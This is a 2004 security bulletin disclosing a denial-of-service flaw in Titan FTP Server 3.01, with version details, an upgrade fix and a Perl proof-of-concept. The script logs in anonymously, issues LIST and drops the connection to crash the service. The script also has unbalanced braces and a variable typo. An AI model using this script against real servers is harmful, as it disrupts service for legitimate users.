Titan FTP Server Aborted LIST DoS

 Titan FTP Server Aborted LIST DoS
----------------------------------------------------

Article reference:
http://www.securiteam.com/windowsntfocus/5RP0215CUU.html

SUMMARY

A security vulnerability exists in South River Technologies' Titan FTP Server.
An attacker issuing a LIST command and disconnecting before the LIST command
had the time to connect, will cause the program to try and access an invalid
socket. This will result in the FTP service's crash (and in turn, no longer
being able to service any additional users).

DETAILS

Vulnerable Systems:
  * Titan FTP Server version 3.01 build 163

 Immune Systems:
  * Titan FTP Server version 3.10 build 169

 Solution:
 To solve this issue upgrade to the latest version (3.10 build 169 or newer).

 Exploit:
 #!/usr/bin/perl
 # Test for Titan FTP server security vulnerability
 #
 # Orkut users? Come join the SecuriTeam community
 # http://www.orkut.com/Community.aspx?cmm=44441
 #
 use IO::Socket;

 $host = "192.168.1.243";

 my @combination;
 $combination[0] = "LIST \r\n";

 for (my $i = 0; $combination[$i] ; $i++)
 {
  print "Combination: $1\n";

  $remote = IO::Socket::INET->new ( Proto => "tcp",
      PeerAddr => $host,
      PeerPort => "2112",
      );
  unless ($remote) { die "cannot connect to ftp daemon on $host" }

  print "connected\n";
  while (<$remote>)
  {
   print $_;
   if (/220 /)
   {
    last;
   }
  }

  $remote->autoflush(1);

  my $ftp = "USER anonymous\r\n";

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/331 /)
   {
    last;
   }
  }

  $ftp = "PASS a\@b.com\r\n";
  print $remote $ftp;
  print $ftp;
  
  while (<$remote>)
  {
   print $_;
   if (/230 /)
   {
    last;
   }
  }
  
  $ftp = $combination[$i];

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/150 /)
   {
    last;
   }
  

  close $remote;
 }

ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm_at_securiteam.com> STORM for
finding this vulnerability.

Regards,
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf

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The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
Received on May 05 2004